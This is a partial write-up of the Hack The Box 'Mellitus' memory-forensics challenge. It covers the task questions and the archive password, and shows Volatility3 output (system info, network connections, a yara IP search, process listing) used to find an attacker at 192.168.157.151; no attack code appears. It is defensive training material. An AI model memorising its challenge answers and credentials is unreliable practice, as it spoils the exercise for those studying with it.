HTB Sherlock Mellitus

2024-06-21

Mellitus - DFIR

Scenario

You’ve been a SOC analyst for the last 4 years but you’ve been honing your incident response skills! It’s about time you bite the bullet and go for your dream job as an Incident Responder as that’s the path you’d like your career to follow. Currently you are going through the interview process for a medium size incident response internal team and the cocky interviewing responder has given you a tough technical challenge to test your memory forensics aptitude. Can you get all the questions right and secure the job?

Artifacts

ArtifactMD5 HashPasswordRemarks
mellitus.zip0272fd0c8105b555a1ce17d0959b9cb8hacktheblue
memory_dump.vmem91a4ae43d463bfb9a9806b7716875415Windows Memory Dump file of a VM instance.
memory_dump.vmsnc17f871c05286923eb06d5dcb5136297VMware Snapshot file for the VM instance.

Tools

  • Volatility3 and Volatility2
  • EvtxECmd - Zimmerman Tools
  • jq
  • LibreOffice Calc
  • Gimp 2.10.38

Tasks

  1. What was the time on the system when the memory was captured?
  2. What is the IP address of the attacker?
  3. What is the name of the strange process?
  4. What is the PID of the process that launched the malicious binary?
  5. What was the command that got the malicious binary onto the machine?
  6. The attacker attempted to gain entry to our host via FTP. How many users did they attempt?
  7. What is the full URL of the last website the attacker visited?
  8. What is the affected users password?
  9. There is a flag hidden related to PID 5116. Can you confirm what it is?

Forensic Analysis

For Task 1 we can analyze the memdump using the following:

$ vol3 -f memory_dump.vmem windows.info                      
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished                        
Variable        Value

Kernel Base     0xf80638aa5000
DTB     0x1ad000
Symbols file:///opt/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/8B11040A5928757B11390AC78F6B6925-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 VmwareLayer
base_layer      2 FileLayer
meta_layer      2 FileLayer
KdVersionBlock  0xf80638ea7dc0
Major/Minor     15.17763
MachineType     34404
KeNumberProcessors      2
SystemTime      2023-10-31 13:59:26
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Thu Oct 28 12:04:50 2060

For the task 2 I used the netscan plugin to get the IP address. But, I should have first found the malicious process and then analyze the process. Unfortunately, I couldn’t dump the malicious process.

$ vol3 -f memory_dump.vmem windows.netscan
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished                        
Offset  Proto   LocalAddr       LocalPort       ForeignAddr     ForeignPort     State   PID     Owner   Created

0xc40aa1be7050  TCPv4   0.0.0.0 135     0.0.0.0 0       LISTENING       880     svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa1be71a0  TCPv4   0.0.0.0 49664   0.0.0.0 0       LISTENING       472     wininit.exe     2023-10-31 13:30:57.000000 
0xc40aa1be82b0  TCPv4   0.0.0.0 135     0.0.0.0 0       LISTENING       880     svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa1be82b0  TCPv6   ::      135     ::      0       LISTENING       880     svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa1be8400  TCPv4   0.0.0.0 49664   0.0.0.0 0       LISTENING       472     wininit.exe     2023-10-31 13:30:57.000000 
0xc40aa1be8400  TCPv6   ::      49664   ::      0       LISTENING       472     wininit.exe     2023-10-31 13:30:57.000000 
0xc40aa5394050  TCPv4   0.0.0.0 49666   0.0.0.0 0       LISTENING       1208    svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa5394440  TCPv4   0.0.0.0 49665   0.0.0.0 0       LISTENING       1332    svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa53946e0  TCPv4   0.0.0.0 49667   0.0.0.0 0       LISTENING       2328    spoolsv.exe     2023-10-31 13:30:58.000000 
0xc40aa53946e0  TCPv6   ::      49667   ::      0       LISTENING       2328    spoolsv.exe     2023-10-31 13:30:58.000000 
0xc40aa5394830  TCPv4   0.0.0.0 49665   0.0.0.0 0       LISTENING       1332    svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa5394830  TCPv6   ::      49665   ::      0       LISTENING       1332    svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa5394ad0  TCPv4   0.0.0.0 49676   0.0.0.0 0       LISTENING       636     lsass.exe       2023-10-31 13:31:07.000000 
0xc40aa5394ad0  TCPv6   ::      49676   ::      0       LISTENING       636     lsass.exe       2023-10-31 13:31:07.000000 
0xc40aa5394ec0  UDPv4   192.168.157.144 137     *       0               4       System  2023-10-31 13:30:57.000000 
0xc40aa5395160  TCPv4   0.0.0.0 49667   0.0.0.0 0       LISTENING       2328    spoolsv.exe     2023-10-31 13:30:58.000000 
0xc40aa53952b0  TCPv4   192.168.157.144 139     0.0.0.0 0       LISTENING       4       System  2023-10-31 13:30:57.000000 
0xc40aa5395400  UDPv4   192.168.157.144 138     *       0               4       System  2023-10-31 13:30:57.000000 
0xc40aa5395550  UDPv4   0.0.0.0 5353    *       0               1876    svchost.exe     2023-10-31 13:30:58.000000 
0xc40aa5395550  UDPv6   ::      5353    *       0               1876    svchost.exe     2023-10-31 13:30:58.000000 
0xc40aa53956a0  UDPv4   0.0.0.0 5353    *       0               1876    svchost.exe     2023-10-31 13:30:58.000000 
0xc40aa5395940  TCPv4   0.0.0.0 49676   0.0.0.0 0       LISTENING       636     lsass.exe       2023-10-31 13:31:07.000000 
0xc40aa5395a90  TCPv4   0.0.0.0 49666   0.0.0.0 0       LISTENING       1208    svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa5395a90  TCPv6   ::      49666   ::      0       LISTENING       1208    svchost.exe     2023-10-31 13:30:57.000000 
0xc40aa5395be0  UDPv4   0.0.0.0 0       *       0               1876    svchost.exe     2023-10-31 13:30:58.000000 
0xc40aa5395be0  UDPv6   ::      0       *       0               1876    svchost.exe     2023-10-31 13:30:58.000000 
0xc40aa5395d30  TCPv6   ::1     8888    ::      0       LISTENING       2896    python.exe      2023-10-31 13:37:16.000000 
0xc40aa58f3050  TCPv4   0.0.0.0 49668   0.0.0.0 0       LISTENING       620     services.exe    2023-10-31 13:30:59.000000 
0xc40aa58f3ec0  UDPv4   0.0.0.0 5050    *       0               3728    svchost.exe     2023-10-31 13:31:00.000000 
0xc40aa58f4160  UDPv4   127.0.0.1       64872   *       0               3236    svchost.exe     2023-10-31 13:30:59.000000 
0xc40aa58f4940  TCPv4   0.0.0.0 445     0.0.0.0 0       LISTENING       4       System  2023-10-31 13:30:59.000000 
0xc40aa58f4940  TCPv6   ::      445     ::      0       LISTENING       4       System  2023-10-31 13:30:59.000000 
0xc40aa58f4a90  TCPv4   0.0.0.0 49668   0.0.0.0 0       LISTENING       620     services.exe    2023-10-31 13:30:59.000000 
0xc40aa58f4a90  TCPv6   ::      49668   ::      0       LISTENING       620     services.exe    2023-10-31 13:30:59.000000 
0xc40aa5ac6530  TCPv4   127.0.0.1       49867   127.0.0.1       49868   ESTABLISHED     -       -       N/A
0xc40aa5d25a30  TCPv4   192.168.157.144 50043   142.250.187.206 443     ESTABLISHED     -       -       N/A
0xc40aa5efe050  TCPv6   ::1     14147   ::      0       LISTENING       11048   FileZillaServe  2023-10-31 13:37:41.000000 
0xc40aa5efe1a0  TCPv6   7f00:1::9870:b5a1:ac4:ffff      8005    ::      0       LISTENING       2696    java.exe        2023-10-31 13:37:50.000000 
0xc40aa5efe2f0  TCPv4   0.0.0.0 443     0.0.0.0 0       LISTENING       11204   httpd.exe       2023-10-31 13:37:41.000000 
0xc40aa5efe2f0  TCPv6   ::      443     ::      0       LISTENING       11204   httpd.exe       2023-10-31 13:37:41.000000 
0xc40aa5efe590  UDPv4   0.0.0.0 0       *       0               6772    powershell.exe  2023-10-31 13:42:37.000000 
0xc40aa5efe830  TCPv4   0.0.0.0 7680    0.0.0.0 0       LISTENING       8444    svchost.exe     2023-10-31 13:32:59.000000 
0xc40aa5efe830  TCPv6   ::      7680    ::      0       LISTENING       8444    svchost.exe     2023-10-31 13:32:59.000000 
0xc40aa5efe980  TCPv4   0.0.0.0 21      0.0.0.0 0       LISTENING       11048   FileZillaServe  2023-10-31 13:37:41.000000 
0xc40aa5efed70  TCPv4   0.0.0.0 443     0.0.0.0 0       LISTENING       11204   httpd.exe       2023-10-31 13:37:41.000000 
0xc40aa5eff160  TCPv4   127.0.0.1       14147   0.0.0.0 0       LISTENING       11048   FileZillaServe  2023-10-31 13:37:41.000000 
0xc40aa5eff400  TCPv4   0.0.0.0 8080    0.0.0.0 0       LISTENING       2696    java.exe        2023-10-31 13:37:48.000000 
0xc40aa5eff400  TCPv6   ::      8080    ::      0       LISTENING       2696    java.exe        2023-10-31 13:37:48.000000 
0xc40aa5effd30  TCPv4   0.0.0.0 3306    0.0.0.0 0       LISTENING       5212    mysqld.exe      2023-10-31 13:37:41.000000 
0xc40aa5effd30  TCPv6   ::      3306    ::      0       LISTENING       5212    mysqld.exe      2023-10-31 13:37:41.000000 
0xc40aa5effe80  TCPv4   0.0.0.0 21      0.0.0.0 0       LISTENING       11048   FileZillaServe  2023-10-31 13:37:41.000000 
0xc40aa5effe80  TCPv6   ::      21      ::      0       LISTENING       11048   FileZillaServe  2023-10-31 13:37:41.000000 
0xc40aa60fc1a0  UDPv6   ::1     1900    *       0               8140    svchost.exe     2023-10-31 13:31:20.000000 
0xc40aa60fc2f0  UDPv6   ::1     56182   *       0               8140    svchost.exe     2023-10-31 13:31:20.000000 
0xc40aa60fc440  UDPv4   127.0.0.1       1900    *       0               8140    svchost.exe     2023-10-31 13:31:20.000000 
0xc40aa60fc6e0  UDPv4   192.168.157.144 56183   *       0               8140    svchost.exe     2023-10-31 13:31:20.000000 
0xc40aa60fcad0  UDPv4   192.168.157.144 1900    *       0               8140    svchost.exe     2023-10-31 13:31:20.000000 
0xc40aa60fd6a0  UDPv6   fe80::a94d:3c5d:b0c7:221b       56181   *       0               8140    svchost.exe     2023-10-31 13:31:20.000000 
0xc40aa60fd7f0  UDPv4   127.0.0.1       56184   *       0               8140    svchost.exe     2023-10-31 13:31:20.000000 
0xc40aa60fd940  TCPv4   127.0.0.1       8888    0.0.0.0 0       LISTENING       2896    python.exe      2023-10-31 13:37:16.000000 
0xc40aa60fda90  UDPv6   fe80::a94d:3c5d:b0c7:221b       1900    *       0               8140    svchost.exe     2023-10-31 13:31:20.000000 
0xc40aa60fdd30  TCPv4   0.0.0.0 80      0.0.0.0 0       LISTENING       11204   httpd.exe       2023-10-31 13:37:41.000000 
0xc40aa60fde80  TCPv4   0.0.0.0 80      0.0.0.0 0       LISTENING       11204   httpd.exe       2023-10-31 13:37:41.000000 
0xc40aa60fde80  TCPv6   ::      80      ::      0       LISTENING       11204   httpd.exe       2023-10-31 13:37:41.000000 
0xc40aa615a980  TCPv4   0.0.0.0 5040    0.0.0.0 0       LISTENING       3728    svchost.exe     2023-10-31 13:31:02.000000 
0xc40aa6b569a0  TCPv4   192.168.157.144 49772   20.90.152.133   443     ESTABLISHED     -       -       N/A
0xc40aa6f40b50  TCPv4   127.0.0.1       49868   127.0.0.1       49867   ESTABLISHED     -       -       N/A
0xc40aa9005bf0  TCPv4   127.0.0.1       14147   127.0.0.1       49889   ESTABLISHED     -       -       N/A
0xc40aa90e0bf0  TCPv4   127.0.0.1       49889   127.0.0.1       14147   ESTABLISHED     -       -       N/A
0xc40aa912ebe0  TCPv4   192.168.157.144 50042   216.58.204.67   443     ESTABLISHED     -       -       N/A
0xc40aa98d66a0  TCPv4   192.168.157.144 49920   95.101.243.61   443     CLOSED  -       -       N/A
0xc40aa98e1950  TCPv4   192.168.157.144 49921   95.101.63.170   443     CLOSED  -       -       N/A
0xc40aa99986d0  TCPv4   192.168.157.144 50045   13.107.21.200   443     ESTABLISHED     -       -       N/A
0xc40aaa0fa050  UDPv4   0.0.0.0 0       *       0               6772    powershell.exe  2023-10-31 13:42:37.000000 
0xc40aaa0fa050  UDPv6   ::      0       *       0               6772    powershell.exe  2023-10-31 13:42:37.000000 
0xc40aaa0fa1a0  UDPv4   0.0.0.0 5355    *       0               1876    svchost.exe     2023-10-31 13:55:22.000000 
0xc40aaa0fa440  UDPv4   0.0.0.0 5353    *       0               8048    chrome.exe      2023-10-31 13:55:31.000000 
0xc40aaa0fa590  UDPv4   0.0.0.0 0       *       0               6772    powershell.exe  2023-10-31 13:42:37.000000 
0xc40aaa0fac20  UDPv4   0.0.0.0 5353    *       0               8048    chrome.exe      2023-10-31 13:55:31.000000 
0xc40aaa0fac20  UDPv6   ::      5353    *       0               8048    chrome.exe      2023-10-31 13:55:31.000000 
0xc40aaa0fb160  UDPv4   0.0.0.0 5355    *       0               1876    svchost.exe     2023-10-31 13:55:22.000000 
0xc40aaa0fb160  UDPv6   ::      5355    *       0               1876    svchost.exe     2023-10-31 13:55:22.000000 
0xc40aaa0fba90  UDPv4   0.0.0.0 0       *       0               6772    powershell.exe  2023-10-31 13:42:37.000000 
0xc40aaa0fba90  UDPv6   ::      0       *       0               6772    powershell.exe  2023-10-31 13:42:37.000000 
0xc40aaa5d7920  TCPv4   192.168.157.144 50044   204.79.197.222  443     ESTABLISHED     -       -       N/A
0xc40aaa7f79a0  TCPv4   192.168.157.144 50037   192.168.157.151 4545    ESTABLISHED     -       -       N/A
0xc40aaa8cb8a0  TCPv4   192.168.157.144 50041   216.58.204.78   443     ESTABLISHED     -       -       N/A
0xc40aaa8d7920  TCPv4   192.168.157.144 50039   20.31.169.57    443     CLOSED  -       -       N/A

I tried to find the malicious process but I couldn’t find any weird looking process. My mind tricked me. So, I did a IP IoC search using yara.

$ vol3 -f memory_dump.vmem windows.vadyarascan --yara-rules "192.168.157.151"
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished                        
Offset  PID     Rule    Component       Value

0x12326865bdb   3360    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x12330fabadb   3360    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x12330fadaa0   3360    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x12330fb7b1e   3360    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x12330fb9ae0   3360    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x123373fc8a0   3360    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x1233f9c69f0   3360    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x61008b        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x6100e3        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x61013b        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x61034b        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x6105b3        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x6106c9        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x6108a1        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x6108ec        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x61093c        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x6109dc        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x610a31        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x610b6c        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x610bc1        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x610c11        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x610c61        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x610f2c        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x610fc3        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x611021        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x787b0c        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b03b        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b0cb        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b23c        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b30b        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b361        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b3a9        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b3ec        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b50c        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b554        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b593        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b5db        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78b623        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78bac1        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78c5eb        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78c8db        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78c9a4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78c9fb        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cabb        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cb24        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cb7b        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cbe4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cc44        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cca4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78ccfb        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cdc4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78ce1b        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cedb        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78cfa4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78d93b        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78e1f4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78e2d4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78e494        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78e574        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78e5e9        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78e654        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78e739        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x78e7a4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x8040fc        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x811bd4        11048   r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x56baa8        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x56c1c3        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x56c42b        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x56c84b        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x56d659        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x56d698        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x56d722        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x56d782        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x5e839c        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x5ebd97        9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x240342b       9880    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x2495c9741cd   6772    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x2495ca7531f   6772    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x2495ce0690b   6772    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x2495ce075c3   6772    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x2495ce1ae28   6772    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31
0x2495ce1aea0   6772    r1      $a      31 39 32 2e 31 36 38 2e 31 35 37 2e 31 35 31

Than I did a pslist.

$ vol3 -f memory_dump.vmem windows.pslist                                    
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished                        
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        File output

4       0       System  0xc40aa0e85280  103     -       N/A     False   2023-10-31 13:30:55.000000      N/A     Disabled
88      4       Registry        0xc40aa0ee7080  4       -       N/A     False   2023-10-31 13:30:50.000000      N/A     Disabled
280     4       smss.exe        0xc40aa1cb12c0  2       -       N/A     False   2023-10-31 13:30:55.000000      N/A     Disabled
392     384     csrss.exe       0xc40aa1c32140  11      -       0       False   2023-10-31 13:30:56.000000      N/A     Disabled
472     384     wininit.exe     0xc40aa484e080  1       -       0       False   2023-10-31 13:30:56.000000      N/A     Disabled
620     472     services.exe    0xc40aa49a90c0  8       -       0       False   2023-10-31 13:30:56.000000      N/A     Disabled
636     472     lsass.exe       0xc40aa49cd0c0  8       -       0       False   2023-10-31 13:30:56.000000      N/A     Disabled
740     620     svchost.exe     0xc40aa503b280  1       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
776     472     fontdrvhost.ex  0xc40aa50a2180  5       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
796     620     svchost.exe     0xc40aa50ad280  12      -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
880     620     svchost.exe     0xc40aa510d300  13      -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
936     620     svchost.exe     0xc40aa517f280  5       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
764     620     svchost.exe     0xc40aa521b300  2       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
396     620     svchost.exe     0xc40aa539e340  3       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1032    620     svchost.exe     0xc40aa539f080  7       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1040    620     svchost.exe     0xc40aa53a0080  2       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1096    620     svchost.exe     0xc40aa53e32c0  1       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1104    620     svchost.exe     0xc40aa53e5340  3       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1208    620     svchost.exe     0xc40aa5421280  6       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1292    620     svchost.exe     0xc40aa546a280  6       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1332    620     svchost.exe     0xc40aa546d340  8       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1356    620     svchost.exe     0xc40aa5470340  2       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1404    620     svchost.exe     0xc40aa54b54c0  8       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1468    620     svchost.exe     0xc40aa0f4f080  3       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1476    620     svchost.exe     0xc40aa5527300  1       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1548    620     svchost.exe     0xc40aa552c340  5       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1584    620     svchost.exe     0xc40aa0eea080  2       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1668    620     svchost.exe     0xc40aa0eae080  4       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1680    620     svchost.exe     0xc40aa0ebb080  3       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1696    620     svchost.exe     0xc40aa0f93080  3       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1804    4       MemCompression  0xc40aa55a2080  122     -       N/A     False   2023-10-31 13:30:57.000000      N/A     Disabled
1836    620     svchost.exe     0xc40aa495e280  2       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1852    620     svchost.exe     0xc40aa55a7340  7       -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1876    620     svchost.exe     0xc40aa55e4340  10      -       0       False   2023-10-31 13:30:57.000000      N/A     Disabled
1928    620     svchost.exe     0xc40aa561c2c0  3       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
1944    620     svchost.exe     0xc40aa494e300  6       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
984     620     svchost.exe     0xc40aa56b0080  11      -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2052    620     svchost.exe     0xc40aa5763300  10      -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2108    620     svchost.exe     0xc40aa5769340  3       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2128    620     svchost.exe     0xc40aa576c080  4       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2184    620     svchost.exe     0xc40aa58472c0  8       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2200    620     svchost.exe     0xc40aa5848080  6       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2328    620     spoolsv.exe     0xc40aa58c3280  7       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2352    620     svchost.exe     0xc40aa58ca340  2       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2396    620     svchost.exe     0xc40aa58ec540  14      -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2440    620     svchost.exe     0xc40aa595c340  5       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2600    620     svchost.exe     0xc40aa599f280  23      -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
2884    620     svchost.exe     0xc40aa5a772c0  4       -       0       False   2023-10-31 13:30:58.000000      N/A     Disabled
